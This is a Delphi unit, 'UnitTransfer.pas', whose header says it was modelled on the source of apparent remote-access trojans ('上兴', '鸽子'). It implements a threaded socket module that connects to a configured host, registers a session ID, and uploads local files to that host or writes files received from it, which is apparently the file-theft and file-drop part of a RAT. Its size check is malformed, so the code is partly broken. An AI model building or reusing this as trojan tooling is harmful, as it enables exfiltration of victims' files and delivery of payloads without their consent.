unittransfer.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UnitTransfer;

interface

uses Windows, Sysutils, SocketUnit;

type TThreadInfo = Class(TObject)
public
  host:String;
  port:integer;
  SH : String;
  Action:String;
  FileName: AnsiString;
  RemoteFileName: AnsiString;
  ThreadId:LongWord;
  Beginning:Integer;
  UploadSize : int64;
  constructor Create(pHost:String; pPort:integer;pSH, pFilename, pAction:AnsiString; pBeginning:integer);overload;

end;


procedure ThreadedTransfer(Parameter: Pointer);
procedure sendFile(MySock: TClientSocket; Path:AnsiString; Beginning: int64);
procedure getFile(MySock: TClientSocket; localPath:AnsiString; filesize:Integer);
function leerLinea(MySock: TClientSocket):String;
function MyGetFileSize(path:String):int64;


const
  ENTER = #10;

implementation

constructor TThreadInfo.Create(pHost:String; pPort:integer; pSH, pFilename,pAction:AnsiString; pBeginning:integer);
begin
  Host := pHost;
  Port := pPort;
  SH := pSH;
  FileName := pFileName;
  Action := pAction;
  Beginning := pBeginning;
end;

function leerLinea(MySock:TClientSocket):String;
var
  buf: char;
begin
buf := ' ';
  while buf <> #10 do
  begin
    MySock.ReceiveBuffer(buf, 1);
    Result := Result + buf;
  end;
Result := Trim(Result);    
end;

procedure ThreadedTransfer(Parameter: Pointer);
var
  ThreadInfo : TThreadInfo;
  SocketTransf : TClientSocket;
  FileSize : Integer;
  aux:string;
begin
ThreadInfo := TThreadInfo(Parameter);

try

  SocketTransf := TClientSocket.Create;
  SocketTransf.Connect(ThreadInfo.host, ThreadInfo.port);

  if SocketTransf.Connected then
  begin
    //informamos a cual conexion principal pertenecemos
    SocketTransf.SendString('SH|'+ThreadInfo.SH+ENTER);
  FileSize := MyGetFileSize(ThreadInfo.FileName);
//  messagebox(0,pchar(ThreadInfo.FileName),'ThreadInfo.FileName',mb_ok);
  if ThreadInfo.Action <> 'SENDFILE' then
  begin
    SocketTransf.SendString(ThreadInfo.Action+'|' + ThreadInfo.FileName + '|' + IntToStr(FileSize) + ENTER);
    SendFile(SocketTransf, ThreadInfo.FileName, ThreadInfo.Beginning);
  end
  else
  begin
    SocketTransf.SendString(ThreadInfo.Action+'|' + ThreadInfo.RemoteFileName + ENTER);
    leerLinea(SocketTransf);//la linea de maininfo que me m andan al conectarme
    getFile(SocketTransf, ThreadInfo.FileName, ThreadInfo.UploadSize);
  end;

end;

Except


end;//try-Except
end;

procedure sendFile(MySock: TClientSocket; Path:AnsiString; Beginning: int64);
var
  myFile: File;
  byteArray : array[0..1023] of byte;
  count, filesize: integer;
begin
try
    filesize := MyGetFileSize(path);
    if not filesize > 0 then
    begin
//     MySock.SendString('takeMessage;Could not access file, size: '+IntToStr(filesize));
    end
    else
     FileMode :=  	$0000;
     AssignFile(myFile, path);
     reset(MyFile, 1);
     seek(myFile, beginning);
    while not EOF(MyFile) and Mysock.Connected do
    begin
     BlockRead(myFile, byteArray, 1024, count);
     Mysock.SendBuffer(bytearray, count);
    end;
    closefile(myfile);
Except
  closefile(myfile);
end;
end;


procedure getFile(MySock: TClientSocket; localPath:AnsiString; filesize:Integer);
var
  myFile: File;
  byteArray : array[0..1023] of byte;
  TotalRead, currRead: integer;
  CurrWritten:integer;
  Excepcion: boolean;
begin
    try
    Excepcion := false;
    AssignFile(MyFile, localPath);
    Rewrite(MyFile, 1);
    Totalread := 0;
    currRead := 0;
    while((TotalRead < filesize) ) do
    begin
      currRead := MySock.ReceiveBuffer(byteArray, sizeof(bytearray));
      TotalRead := TotalRead + currRead;
      BlockWrite(MyFile, bytearray, currRead, currwritten);
      currwritten:= currread;
    end;
    Except
    Excepcion := true;
    CloseFile(MyFile);
    if MySock.Connected then MySock.Disconnect;
    MySock.Free;
    end;
    if not Excepcion then
    begin
      CloseFile(MyFile);
      if MySock.Connected then MySock.Disconnect;
      MySock.Free;
    end;
end;

function MyGetFileSize(path:String):int64;
var
  SearchRec : TSearchRec;
begin
if FindFirst(path, faAnyFile, SearchRec ) = 0 then                  // if found

  Result := Int64(SearchRec.FindData.nFileSizeHigh) shl Int64(32) +    // calculate the size
  Int64(SearchREc.FindData.nFileSizeLow)
 else
    Result := -1;
findclose(SearchRec);
end;

end.